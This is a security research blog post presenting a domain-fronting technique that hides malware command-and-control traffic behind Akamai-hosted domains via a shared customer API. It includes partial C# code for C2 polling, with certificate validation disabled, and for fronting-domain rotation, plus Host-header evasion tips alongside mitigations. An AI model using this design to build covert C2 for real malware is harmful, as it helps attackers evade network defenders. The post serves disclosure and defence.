THREAT RESEARCH BLOG POST

Implementing Malware Command and Control Using Major CDNs and High-Traffic Domains

 

July 18, 2017 | | Shay Nahari

In this blog post, we will present a new technique for domain fronting, which enables attackers to abuse Content Delivery Networks (CDNs) to mask malware command and control (C2) traffic. This research demonstrates a new technique for hiding a C2 channel completely within a CDN. While many CDNs are potentially impacted, Akamai is one of the largest. Akamai’s CDN carries a significant portion of all internet traffic including high reputation domains through which we can mask our traffic. As we mentioned in previous blog posts, domain fronting has been used by advanced adversaries in the wild as an evasion technique.

Content Delivery Networks

A Content Delivery Network is a system of distributed servers that deliver web pages and other web content to users based on their geographic locations, to improve availability and performance.

According to Akamai their CDN carries 15-30% of the world’s web traffic, and it is extremely common to see outbound traffic to Akamai’s network from almost any potential target. This makes Akamai’s CDN a prime target for this new approach to domain fronting.

As discussed here, the Tor project used meek to implement domain fronting through google.com and other CDNs as a way to evade censorship. One specific Akamai domain (a248.e.akamai.net) was in used by the Tor project to bypass China’s internet restrictions, and was later blocked in China, as it was used bypass the country’s content filtering controls.

During our research we identified tens of thousands of domains served by Akamai’s CDN that can be used for domain fronting. This huge number of domains includes domains for Fortune 100 companies, as well as niche players that could be used in highly targeted attacks.

Domain Fronting for Malware

From the attacker perspective there are two requirements in order to be able to utilize domain fronting for Red-team C&C purposes:

  1. A two-way, persistent read-write mechanism (system or application) must be hosted by the CDN. For example, in our testing, our malware utilized the API of a commercial to-do list application hosted by the CDN to exchange instructions and data with us.
  2. Malware must be specially crafted to use this C2 channel, and users’ machines must be infected with this malware.

In order to achieve the first requirement we identified multiple edge network systems hosting a CDN’s customer API endpoints (“shared API systems”). For example, imagine a global company wants to have their RESTful API service hosted in a global CDN network. Most think of a CDN being used for relatively static content (e.g. images, video, etc.), but it can also be used for shared tenancy such as API endpoints. Using the shared API interface we created multiple persistent “lists” using the application’s API to act as a malware command queue.  A different “list” is used by client (malware) and the server (attacker) to issue commands and receive output.

For the second requirement custom malware was written, which uses token data and the CDN customer’s API to read and write persistent requests to the C2 system.

//This methis uses the [REDACTED] RESTful API to chech if the operator has a command waiting
static List<Card> CheckForCmd()
{
	try
	{
		// Setup certificate management
		ServicePointManager.ServerCertificateValidationCallback += (sender, cert, chain, sslPolicyErrors) => true;
		
		// Use the shared RESTful API to get commands
		string url = "https://" + Host() + "/1/lists/" + cmdsList + "<redacted>" + auth;
		
		// Convert JSON response to something readable
		var json = JsonConvert.DeserializeObject<List<Card>>(GetRequest(url));
		return json;
	}
}

The malware asynchronously polls at a predefined amount of time, and will choose a random domain from of the list of tens of thousands served by the CDN.

static string Host()
{
	var strings = new List<string> {
		"ir.baidu.com",
		"ir2.technet.microsoft.com",
		"magazine.wsj.com",
		"telegraph.co.uk",
		"dlm2.download.intuit.com"
		// etc...
	};
	Random rnd = new Random();
	int r = rnd.Next(strings.Count);
	return (string)strings[r];
}

Since the specific edge network is a Push CDN, and since we don’t have direct control over the servers in the CDN, we will need to abuse API functionality of the shared API systems (hosted on the same edge network) to allow us to create persistent queues where commands and responses can be exchanged between the malware and the attacker. Remember, none of the websites above provide the API we used for the C2 channel; they are only hosted on the same edge network as the application whose API we utilize.

Therefore, the shared customer API creates an asymmetric C2 channel and queues commands for our malware to execute. The same API is used to post back output of commands once executed by our malware.

Note: During the course of our research, we identified ways to enumerate customers of Akamai’s CDN through publicly available sources. We were able to identify tens of thousands of potential domains in our proof of concept, of which the above were selected for demonstrative purposes only.

Server name indication

Server Name Indication (SNI) is an extension to TLS that allows a webserver to serve multiple websites over HTTPS, using different certificates, from the same IP address. The attacker also needs to control the value of the SNI field as part of the TLS handshake. Since SNI is sent in clear text as part of the client hello it can potentially leak the real request destination without decrypting the session.

In .NET the SNI is created automatically once you assign the URI or the Host header, so the attacker will need to modify the Host header post SNI creation to avoid leaking the true destination.

Defender View

From the defender’s perspective, the client machine will be communicating with a high-reputation domain’s IP address, and the web traffic will be encrypted and signed by this domain. In appearance, this will thus appear as legitimate traffic to a highly trusted entity.

To our knowledge, the most common approach to detecting domain fronting is to utilize an HTTPS proxy in a man-in-the-middle configuration – commonly referred to as “SSL Termination” – in which all encrypted traffic is decrypted and inspected. Using a man-in-the-middle proxy has its own risks and limitations. Furthermore, certain domains enforce HSTS, leaving only a few vendors with the ability to decrypt SSL traffic targeting those domains.

It is important to note, that Akamai is not the only CDN susceptible to this technique – but the fact their CDN is handling so much of internet traffic today including  many of the most frequently visited domains in the world positions their CDN as a prized target for domain fronting.

Mitigations

One of the few options available for enterprise defenders is to utilize a HTTPS proxy with SSL termination in order identify a mismatch between the host header and the request URI.

The fact that the host header and therefore SNI can be overwritten on the client side forces organizations to monitor and control traffic leaving their network, as even “known good” approaches based on SSL certificate trust and domain reputation can no longer be trusted.

One theoretical solution to the problem is for the CDN to associate virtual IP addresses with each domain, which can be assigned to a specific SSL certificate and therefore protect against the cross-tenant approach we’ve demonstrated. There are of course practical limitations to this approach, perhaps most importantly the shortage in public IPv4 addresses.

Conclusion

This C2 evasion technique emphasizes the point that attackers, insiders or external actors, will find ways to establish a foothold within the network, and that organizations should maintain a mindset of “assume breach.” This mindset assumes that the internal network is compromised and as hostile as the internet, and focuses on detecting, preventing, protecting and mitigating unauthorized access used within the network.

Additional Resources

Domain Fronting is not new. This post and the techniques are built upon the hard work of others:

Watch a short video demo.

Note: This article is based upon research and contributions by Will Vandevanter and Shay Nahari.

 

Share This